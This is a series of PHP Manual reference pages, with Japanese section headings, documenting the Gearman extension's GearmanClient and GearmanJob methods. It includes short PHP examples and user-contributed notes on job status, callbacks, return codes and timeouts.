  • PHP Manual
  • GearmanClient
  • Returns an error string for the last error encountered

GearmanClient::error

(PECL gearman >= 0.5.0)

GearmanClient::error — Returns an error string for the last error encountered

説明

public GearmanClient::error ( ) : string

Returns an error string for the last error encountered.

パラメータ

この関数にはパラメータはありません。

返り値

A human readable error string.

参考

  • GearmanClient::getErrno() - Get an errno value

User Contributed Notes

There are no user contributed notes for this page.


Get an errno value

  • ≪ GearmanClient::error
  • GearmanClient::jobStatus ≫
  • PHP Manual
  • GearmanClient
  • Get an errno value

GearmanClient::getErrno

(PECL gearman >= 0.5.0)

GearmanClient::getErrno — Get an errno value

説明

public GearmanClient::getErrno ( ) : int

Value of errno in the case of a GEARMAN_ERRNO return value.

パラメータ

この関数にはパラメータはありません。

返り値

A valid Gearman errno.

参考

  • GearmanClient::error() - Returns an error string for the last error encountered

User Contributed Notes

There are no user contributed notes for this page.


Get the status of a background job

  • ≪ GearmanClient::getErrno
  • GearmanClient::ping ≫
  • PHP Manual
  • GearmanClient
  • Get the status of a background job

GearmanClient::jobStatus

gearman_job_status

(PECL gearman >= 0.5.0)

GearmanClient::jobStatus -- gearman_job_status — Get the status of a background job

説明

オブジェクト指向型 (method):

public GearmanClient::jobStatus ( string $job_handle ) : array

Gets the status for a background job given a job handle. The status information will specify whether the job is known, whether the job is currently running, and the percentage completion.

パラメータ

job_handle

Gearman サーバーが割り当てたジョブハンドル。

返り値

An array containing status information for the job corresponding to the supplied job handle. The first array element is a boolean indicating whether the job is even known, the second is a boolean indicating whether the job is still running, and the third and fourth elements correspond to the numerator and denominator of the fractional completion percentage, respectively.

例

例1 Monitor the status of a long running background job

<?php

/* create our object */
$gmclient= new GearmanClient();

/* add the default server */
$gmclient->addServer();

/* run reverse client */
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

$done = false;
do
{
   sleep(3);
   $stat = $gmclient->jobStatus($job_handle);
   if (!$stat[0]) // the job is known so it is not done
      $done = true;
   echo "Running: " . ($stat[1] ? "true" : "false") . ", numerator: " . $stat[2] . ", denomintor: " . $stat[3] . "\n";
}
while(!$done);

echo "done!\n";

?>

上の例の出力は、 たとえば以下のようになります。

Running: true, numerator: 3, denomintor: 14
Running: true, numerator: 6, denomintor: 14
Running: true, numerator: 9, denomintor: 14
Running: true, numerator: 12, denomintor: 14
Running: false, numerator: 0, denomintor: 0
done!

参考

  • GearmanClient::doStatus() - Get the status for the running task

User Contributed Notes

richard@anon 30-May-2017 06:42
@Jan

if (!$stat[0]) // the job is known so it is not done

I believe to be correct. I read it as, if $stat[0] returns anything but false, the job is currently running, so we are not done. However, if we cannot find $stat[0] (ie: the job handle no longer exists) then the job is done.

--Richard
bot at boxconnect dot org 28-Jul-2015 08:41
The example above reads:
if (!$stat[0]) // the job is known so it is not done

I think the comment is wrong, it should read "the job is unknown, so it is done".
Regards,
Jan


Send data to all job servers to see if they echo it back

  • ≪ GearmanClient::jobStatus
  • GearmanClient::removeOptions ≫
  • PHP Manual
  • GearmanClient
  • Send data to all job servers to see if they echo it back

GearmanClient::ping

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

GearmanClient::ping — Send data to all job servers to see if they echo it back

説明

public GearmanClient::ping ( string $workload ) : bool

Sends some arbitrary data to all job servers to see if they echo it back. The data sent is not used or processed in any other way. Primarily used for testing and debugging.

パラメータ

workload

Some arbitrary serialized data to be echo back

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 06:53
If you want to test all job servers you can use the following code:

<?php
// Create our client object
$client= new GearmanClient();

// Add available and unavailable servers
$client->addServers('127.0.0.1:4730,127.0.0.2:4731');

// Test all job servers
$success = @$client->ping('data testing');
if (!$success) {
    die('Error: ' . $client->error());
}

// Sending job
echo $client->doNormal('reverse', 'Hello World!');
?>


Remove client options

  • ≪ GearmanClient::ping
  • GearmanClient::returnCode ≫
  • PHP Manual
  • GearmanClient
  • Remove client options

GearmanClient::removeOptions

(PECL gearman >= 0.6.0)

GearmanClient::removeOptions — Remove client options

説明

public GearmanClient::removeOptions ( int $options ) : bool

Removes (unsets) one or more options.

パラメータ

options

The options to be removed (unset)

返り値

Always returns true.

User Contributed Notes

goran dot v dot miskovic at gmail dot com 08-Sep-2012 09:15
To remove several options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
$client->removeOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS);
?>


Get the last Gearman return code

  • ≪ GearmanClient::removeOptions
  • GearmanClient::runTasks ≫
  • PHP Manual
  • GearmanClient
  • Get the last Gearman return code

GearmanClient::returnCode

(PECL gearman >= 0.5.0)

GearmanClient::returnCode — Get the last Gearman return code

説明

public GearmanClient::returnCode ( ) : int

Returns the last Gearman return code.

パラメータ

この関数にはパラメータはありません。

返り値

A valid Gearman return code.

User Contributed Notes

casper at bcx dot nl 31-Aug-2017 07:55
GEARMAN_TIMEOUT is returned when a timeout is set with  ->setTimeout()
stanislav dot reshetnev at gmail dot com 05-Nov-2014 11:10
Valid return codes are:

GEARMAN_SUCCESS
GEARMAN_PAUSE
GEARMAN_IO_WAIT
GEARMAN_WORK_STATUS
GEARMAN_WORK_DATA
GEARMAN_WORK_EXCEPTION
GEARMAN_WORK_WARNING
GEARMAN_WORK_FAIL

Given from php_gearman.c version 0.8.3.


Run a list of tasks in parallel

  • ≪ GearmanClient::returnCode
  • GearmanClient::setClientCallback ≫
  • PHP Manual
  • GearmanClient
  • Run a list of tasks in parallel

GearmanClient::runTasks

(PECL gearman >= 0.5.0)

GearmanClient::runTasks — Run a list of tasks in parallel

説明

public GearmanClient::runTasks ( ) : bool

For a set of tasks previously added with GearmanClient::addTask(), GearmanClient::addTaskHigh(), GearmanClient::addTaskLow(), GearmanClient::addTaskBackground(), GearmanClient::addTaskHighBackground(), or GearmanClient::addTaskLowBackground(), this call starts running the tasks in parallel.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task (deprecated)

  • ≪ GearmanClient::runTasks
  • GearmanClient::setCompleteCallback ≫
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task (deprecated)

GearmanClient::setClientCallback

(PECL gearman <= 0.5.0)

GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)

説明

public GearmanClient::setClientCallback ( callable $callback ) : void

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

注意:

This method has been replaced by GearmanClient::setDataCallback() in the 0.6.0 release of the Gearman extension.

パラメータ

callback

A function or method to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a function to be called on task completion

  • ≪ GearmanClient::setClientCallback
  • GearmanClient::setContext ≫
  • PHP Manual
  • GearmanClient
  • Set a function to be called on task completion

GearmanClient::setCompleteCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCompleteCallback — Set a function to be called on task completion

説明

public GearmanClient::setCompleteCallback ( callable $callback ) : bool

Use to set a function to be called when a GearmanTask is completed, or when GearmanJob::sendComplete() is invoked by a worker (whichever happens first).

This callback executes only when executing a GearmanTask using GearmanClient::runTasks(). It is not used for individual jobs.

パラメータ

callback

A function to be called

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

Justas Butkus 18-Aug-2011 06:59
One shall note, that callback function MUST either return a valid Gearman status code, or return nothing (do not return).

I.e. these are valid complete callbacks:

<?php
function goodCallbackOne(GearmanTask $task)
{
    print_r($task);
}
?>

<?php
function goodCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return GEARMAN_SUCCESS;
}
?>

While following is NOT, unless you want your client code to fail with Gearman error 'german wait:no active file descriptors':

<?php
function badCallbackTwo(GearmanTask $task)
{
    print_r($task);
    return true;
}
?>


Set application context

  • ≪ GearmanClient::setCompleteCallback
  • GearmanClient::setCreatedCallback ≫
  • PHP Manual
  • GearmanClient
  • Set application context

GearmanClient::setContext

(PECL gearman >= 0.6.0)

GearmanClient::setContext — Set application context

説明

public GearmanClient::setContext ( string $context ) : bool

Sets an arbitrary string to provide application context that can later be retrieved by GearmanClient::context().

パラメータ

context

Arbitrary context data

返り値

Always returns true.

参考

  • GearmanClient::context() - Get the application context

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for when a task is queued

  • ≪ GearmanClient::setContext
  • GearmanClient::setData ≫
  • PHP Manual
  • GearmanClient
  • Set a callback for when a task is queued

GearmanClient::setCreatedCallback

(PECL gearman >= 0.5.0)

GearmanClient::setCreatedCallback — Set a callback for when a task is queued

説明

public GearmanClient::setCreatedCallback ( string $callback ) : bool

Sets a function to be called when a task is received and queued by the Gearman job server. The callback should accept a single argument, a GearmanTask object.

パラメータ

callback

A function to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

stanislav dot reshetnev at gmail dot com 30-Oct-2014 04:07
Callback can accept not only GearmanTask object, but it can recieve a variable from GearmanClient::addTask():

<?php
$client = new GearmanClient();
$client->addServer();

$client->setCreatedCallback(function(GearmanTask $task, $some_info) {
  // now we have $some_info
  // ...
});

$client->addTask($function_name, $workload, "some info");
?>

So, we can send to our anonymous function something like $workload, because we can't get it from GearmanTask object. It may be usefull for logging of tasks queuing.
Karl Rixon 20-Oct-2014 02:57
Contrary to the documentation, this callback accepts an instance of \GearmanTask, not \GearmanClient.


Set application data (deprecated)

  • ≪ GearmanClient::setCreatedCallback
  • GearmanClient::setDataCallback ≫
  • PHP Manual
  • GearmanClient
  • Set application data (deprecated)

GearmanClient::setData

(PECL gearman <= 0.5.0)

GearmanClient::setData — Set application data (deprecated)

説明

public GearmanClient::setData ( string $data ) : bool

Sets some arbitrary application data that can later be retrieved by GearmanClient::data().

注意:

This method has been replaced by GearmanCient::setContext() in the 0.6.0 release of the Gearman extension.

パラメータ

data

返り値

Always returns true.

参考

  • GearmanClient::data() - Get the application data (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Callback function when there is a data packet for a task

  • ≪ GearmanClient::setData
  • GearmanClient::setExceptionCallback ≫
  • PHP Manual
  • GearmanClient
  • Callback function when there is a data packet for a task

GearmanClient::setDataCallback

(PECL gearman >= 0.6.0)

GearmanClient::setDataCallback — Callback function when there is a data packet for a task

説明

public GearmanClient::setDataCallback ( callable $callback ) : bool

Sets the callback function for accepting data packets for a task. The callback function should take a single argument, a GearmanTask object.

パラメータ

callback

A function or method to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for worker exceptions

  • ≪ GearmanClient::setDataCallback
  • GearmanClient::setFailCallback ≫
  • PHP Manual
  • GearmanClient
  • Set a callback for worker exceptions

GearmanClient::setExceptionCallback

(PECL gearman >= 0.5.0)

GearmanClient::setExceptionCallback — Set a callback for worker exceptions

説明

public GearmanClient::setExceptionCallback ( callable $callback ) : bool

Specifies a function to call when a worker for a task sends an exception.

パラメータ

callback

Function to call when the worker throws an exception

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set callback for job failure

  • ≪ GearmanClient::setExceptionCallback
  • GearmanClient::setOptions ≫
  • PHP Manual
  • GearmanClient
  • Set callback for job failure

GearmanClient::setFailCallback

(PECL gearman >= 0.5.0)

GearmanClient::setFailCallback — Set callback for job failure

説明

public GearmanClient::setFailCallback ( callable $callback ) : bool

Sets the callback function to be used when a task does not complete successfully. The function should accept a single argument, a GearmanTask object.

パラメータ

callback

A function to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set client options

  • ≪ GearmanClient::setFailCallback
  • GearmanClient::setStatusCallback ≫
  • PHP Manual
  • GearmanClient
  • Set client options

GearmanClient::setOptions

(PECL gearman >= 0.5.0)

GearmanClient::setOptions — Set client options

説明

public GearmanClient::setOptions ( int $options ) : bool

Sets one or more client options.

パラメータ

options

The options to be set

返り値

Always returns true.

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for collecting task status

  • ≪ GearmanClient::setOptions
  • GearmanClient::setTimeout ≫
  • PHP Manual
  • GearmanClient
  • Set a callback for collecting task status

GearmanClient::setStatusCallback

(PECL gearman >= 0.5.0)

GearmanClient::setStatusCallback — Set a callback for collecting task status

説明

public GearmanClient::setStatusCallback ( callable $callback ) : bool

Sets a callback function used for getting updated status information from a worker. The function should accept a single argument, a GearmanTask object.

パラメータ

callback

A function to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • ≪ GearmanClient::setStatusCallback
  • GearmanClient::setWarningCallback ≫
  • PHP Manual
  • GearmanClient
  • Set socket I/O activity timeout

GearmanClient::setTimeout

(PECL gearman >= 0.6.0)

GearmanClient::setTimeout — Set socket I/O activity timeout

説明

public GearmanClient::setTimeout ( int $timeout ) : bool

Sets the timeout for socket I/O activity.

パラメータ

timeout

An interval of time in milliseconds

返り値

Always returns true.

User Contributed Notes

luckyboy449 at yahoo dot com 11-Jul-2019 09:22
Note that GEARMAN_TIMEOUT is mostly triggered when you use a callback with the addTask() and addTaskBackground() methods. If the Gearman server is not able to answer under high volume of jobs  about the status of the current job, the client will certainly throw a GEARMAN_TIMEOUT error.

The safest way to escape this error is using the doBackground() method especially when you are not interested to find the status of the job (failed or completed) and that should be a rule when you are sending high volume of jobs to the server.
casper at bcx dot nl 31-Aug-2017 08:00
If a timeout is set with this method, and a timeout occurred, calling ->returnCode() will return GEARMAN_TIMEOUT

Beware that a timeout of for example a doBackground() call does not mean the job did not start. It's very possible the job got submitted and started but the gearmand server was not able to communicate that information back to you.
Ismael Cristal Jr 06-Oct-2012 02:54
GearmanClient has a default timeout of -1 you need to set this to a positive number using setTimeout to avoid cases where your script waits forever to run a job even if there are no workers running at all.


Set a callback for worker warnings

  • ≪ GearmanClient::setTimeout
  • GearmanClient::setWorkloadCallback ≫
  • PHP Manual
  • GearmanClient
  • Set a callback for worker warnings

GearmanClient::setWarningCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWarningCallback — Set a callback for worker warnings

説明

public GearmanClient::setWarningCallback ( callable $callback ) : bool

Sets a function to be called when a worker sends a warning. The callback should accept a single argument, a GearmanTask object.

パラメータ

callback

A function to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWorkloadCallback() - Set a callback for accepting incremental data updates

User Contributed Notes

There are no user contributed notes for this page.


Set a callback for accepting incremental data updates

  • ≪ GearmanClient::setWarningCallback
  • GearmanClient::timeout ≫
  • PHP Manual
  • GearmanClient
  • Set a callback for accepting incremental data updates

GearmanClient::setWorkloadCallback

(PECL gearman >= 0.5.0)

GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates

説明

public GearmanClient::setWorkloadCallback ( callable $callback ) : bool

Sets a function to be called when a worker needs to send back data prior to job completion. A worker can do this when it needs to send updates, send partial results, or flush data during long running jobs. The callback should accept a single argument, a GearmanTask object.

パラメータ

callback

A function to call

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::setDataCallback() - Callback function when there is a data packet for a task
  • GearmanClient::setCompleteCallback() - Set a function to be called on task completion
  • GearmanClient::setCreatedCallback() - Set a callback for when a task is queued
  • GearmanClient::setExceptionCallback() - Set a callback for worker exceptions
  • GearmanClient::setFailCallback() - Set callback for job failure
  • GearmanClient::setStatusCallback() - Set a callback for collecting task status
  • GearmanClient::setWarningCallback() - Set a callback for worker warnings

User Contributed Notes

There are no user contributed notes for this page.


Get current socket I/O activity timeout value

  • ≪ GearmanClient::setWorkloadCallback
  • GearmanClient::wait ≫
  • PHP Manual
  • GearmanClient
  • Get current socket I/O activity timeout value

GearmanClient::timeout

(PECL gearman >= 0.6.0)

GearmanClient::timeout — Get current socket I/O activity timeout value

説明

public GearmanClient::timeout ( ) : int

Returns the timeout in milliseconds to wait for I/O activity.

パラメータ

この関数にはパラメータはありません。

返り値

Timeout in milliseconds to wait for I/O activity. A negative value means an infinite timeout.

参考

  • GearmanClient::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Wait for I/O activity on all connections in a client

  • ≪ GearmanClient::timeout
  • GearmanJob ≫
  • PHP Manual
  • GearmanClient
  • Wait for I/O activity on all connections in a client

GearmanClient::wait

(PECL gearman >= 0.6.0)

GearmanClient::wait — Wait for I/O activity on all connections in a client

説明

public GearmanClient::wait ( ) : bool

This waits for activity from any one of the connected servers.

パラメータ

この関数にはパラメータはありません。

返り値

true on success false on an error.

参考

  • GearmanWorker::wait() - Wait for activity from one of the job servers

User Contributed Notes

There are no user contributed notes for this page.


The GearmanJob class

(PECL gearman >= 0.5.0)

はじめに

クラス概要

GearmanJob {
/* メソッド */
public complete ( string $result ) : bool
public __construct ( )
public data ( string $data ) : bool
public exception ( string $exception ) : bool
public fail ( ) : bool
public functionName ( ) : string
public handle ( ) : string
public returnCode ( ) : int
public sendComplete ( string $result ) : bool
public sendData ( string $data ) : bool
public sendException ( string $exception ) : bool
public sendFail ( ) : bool
public sendStatus ( int $numerator , int $denominator ) : bool
public sendWarning ( string $warning ) : bool
public setReturn ( int $gearman_return_t ) : bool
public status ( int $numerator , int $denominator ) : bool
public unique ( ) : string
public warning ( string $warning ) : bool
public workload ( ) : string
public workloadSize ( ) : int
}

目次

  • GearmanJob::complete — Send the result and complete status (deprecated)
  • GearmanJob::__construct — Create a GearmanJob instance
  • GearmanJob::data — Send data for a running job (deprecated)
  • GearmanJob::exception — Send exception for running job (deprecated)
  • GearmanJob::fail — Send fail status (deprecated)
  • GearmanJob::functionName — Get function name
  • GearmanJob::handle — Get the job handle
  • GearmanJob::returnCode — Get last return code
  • GearmanJob::sendComplete — Send the result and complete status
  • GearmanJob::sendData — Send data for a running job
  • GearmanJob::sendException — Send exception for running job (exception)
  • GearmanJob::sendFail — Send fail status
  • GearmanJob::sendStatus — Send status
  • GearmanJob::sendWarning — Send a warning
  • GearmanJob::setReturn — Set a return value
  • GearmanJob::status — Send status (deprecated)
  • GearmanJob::unique — Get the unique identifier
  • GearmanJob::warning — Send a warning (deprecated)
  • GearmanJob::workload — Get workload
  • GearmanJob::workloadSize — Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status (deprecated)

  • ≪ GearmanJob
  • GearmanJob::__construct ≫
  • PHP Manual
  • GearmanJob
  • Send the result and complete status (deprecated)

GearmanJob::complete

(PECL gearman <= 0.5.0)

GearmanJob::complete — Send the result and complete status (deprecated)

説明

public GearmanJob::complete ( string $result ) : bool

Sends result data and the complete status update for this job.

注意:

This method has been replaced by GearmanJob::sendComplete() in the 0.6.0 release of the Gearman extension.

パラメータ

result

Serialized result data.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanJob instance

  • ≪ GearmanJob::complete
  • GearmanJob::data ≫
  • PHP Manual
  • GearmanJob
  • Create a GearmanJob instance

GearmanJob::__construct

(PECL gearman >= 0.5.0)

GearmanJob::__construct — Create a GearmanJob instance

説明

public GearmanJob::__construct ( )

Creates a GearmanJob instance representing a job the worker is to complete.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanJob object.

User Contributed Notes

liv_romania at yahoo dot com 19-Jul-2015 08:35
Usually you will not need to create a GearmanJob object. The GearmanJob instance will be passed to a registered function with the job server when GearmanWorker::addFunction is used:

<?php
// create the worker
$worker= new GearmanWorker();

// add the default job server (localhost)
$worker->addServer('127.0.0.1', 4730);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function(GearmanJob $job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>


Send data for a running job (deprecated)

  • ≪ GearmanJob::__construct
  • GearmanJob::exception ≫
  • PHP Manual
  • GearmanJob
  • Send data for a running job (deprecated)

GearmanJob::data

(PECL gearman <= 0.5.0)

GearmanJob::data — Send data for a running job (deprecated)

説明

public GearmanJob::data ( string $data ) : bool

Sends data to the job server (and any listening clients) for this job.

注意:

This method has been replaced by GearmanJob::sendData() in the 0.6.0 release of the Gearman extension.

パラメータ

data

Arbitrary serialized data.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Send exception for running job (deprecated)

  • ≪ GearmanJob::data
  • GearmanJob::fail ≫
  • PHP Manual
  • GearmanJob
  • Send exception for running job (deprecated)

GearmanJob::exception

(PECL gearman <= 0.5.0)

GearmanJob::exception — Send exception for running job (deprecated)

説明

public GearmanJob::exception ( string $exception ) : bool

Sends the supplied exception when this job is running.

注意:

This method has been replaced by GearmanJob::sendException() in the 0.6.0 release of the Gearman extension.

パラメータ

exception

An exception description.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status (deprecated)

  • ≪ GearmanJob::exception
  • GearmanJob::functionName ≫
  • PHP Manual
  • GearmanJob
  • Send fail status (deprecated)

GearmanJob::fail

(PECL gearman <= 0.5.0)

GearmanJob::fail — Send fail status (deprecated)

説明

public GearmanJob::fail ( ) : bool

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

注意:

This method has been replaced by GearmanJob::sendFail() in the 0.6.0 release of the Gearman extension.

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Get function name

  • ≪ GearmanJob::fail
  • GearmanJob::handle ≫
  • PHP Manual
  • GearmanJob
  • Get function name

GearmanJob::functionName

(PECL gearman >= 0.5.0)

GearmanJob::functionName — Get function name

説明

public GearmanJob::functionName ( ) : string

Returns the function name for this job. This is the function the work will execute to perform the job.

パラメータ

この関数にはパラメータはありません。

返り値

The name of a function.

参考

  • GearmanTask::function() - Get associated function name (deprecated)

User Contributed Notes

fastest963 at gmail dot com 01-Oct-2014 01:16
FYI this is the queue name not the callable function name.


Get the job handle

  • ≪ GearmanJob::functionName
  • GearmanJob::returnCode ≫
  • PHP Manual
  • GearmanJob
  • Get the job handle

GearmanJob::handle

(PECL gearman >= 0.5.0)

GearmanJob::handle — Get the job handle

説明

public GearmanJob::handle ( ) : string

Returns the opaque job handle assigned by the job server.

パラメータ

この関数にはパラメータはありません。

返り値

An opaque job handle.

参考

  • GearmanTask::jobHandle() - Get the job handle

User Contributed Notes

There are no user contributed notes for this page.


Get last return code

  • ≪ GearmanJob::handle
  • GearmanJob::sendComplete ≫
  • PHP Manual
  • GearmanJob
  • Get last return code

GearmanJob::returnCode

(PECL gearman >= 0.5.0)

GearmanJob::returnCode — Get last return code

説明

public GearmanJob::returnCode ( ) : int

Returns the last return code issued by the job server.

パラメータ

この関数にはパラメータはありません。

返り値

A valid Gearman return code.

参考

  • GearmanTask::returnCode() - Get the last return code

User Contributed Notes

There are no user contributed notes for this page.


Send the result and complete status

  • ≪ GearmanJob::returnCode
  • GearmanJob::sendData ≫
  • PHP Manual
  • GearmanJob
  • Send the result and complete status

GearmanJob::sendComplete

(PECL gearman >= 0.6.0)

GearmanJob::sendComplete — Send the result and complete status

説明

public GearmanJob::sendComplete ( string $result ) : bool

Sends result data and the complete status update for this job.

パラメータ

result

Serialized result data.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendFail() - Send fail status
  • GearmanJob::setReturn() - Set a return value

User Contributed Notes

There are no user contributed notes for this page.


Send data for a running job

  • ≪ GearmanJob::sendComplete
  • GearmanJob::sendException ≫
  • PHP Manual
  • GearmanJob
  • Send data for a running job

GearmanJob::sendData

(PECL gearman >= 0.6.0)

GearmanJob::sendData — Send data for a running job

説明

public GearmanJob::sendData ( string $data ) : bool

Sends data to the job server (and any listening clients) for this job.

パラメータ

data

Arbitrary serialized data.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::workload() - Get workload
  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

ABC 24-May-2013 07:55
For Gearman PHP 1.1.1
sendData() only works for addTask.
It does not work with doNormal, doBackground or addTaskBackground submission types


Send exception for running job (exception)

  • ≪ GearmanJob::sendData
  • GearmanJob::sendFail ≫
  • PHP Manual
  • GearmanJob
  • Send exception for running job (exception)

GearmanJob::sendException

(PECL gearman >= 0.6.0)

GearmanJob::sendException — Send exception for running job (exception)

説明

public GearmanJob::sendException ( string $exception ) : bool

Sends the supplied exception when this job is running.

パラメータ

exception

An exception description.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send fail status

  • ≪ GearmanJob::sendException
  • GearmanJob::sendStatus ≫
  • PHP Manual
  • GearmanJob
  • Send fail status

GearmanJob::sendFail

(PECL gearman >= 0.6.0)

GearmanJob::sendFail — Send fail status

説明

public GearmanJob::sendFail ( ) : bool

Sends failure status for this job, indicating that the job failed in a known way (as opposed to failing due to a thrown exception).

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::setReturn() - Set a return value
  • GearmanJob::sendStatus() - Send status
  • GearmanJob::sendWarning() - Send a warning

User Contributed Notes

There are no user contributed notes for this page.


Send status

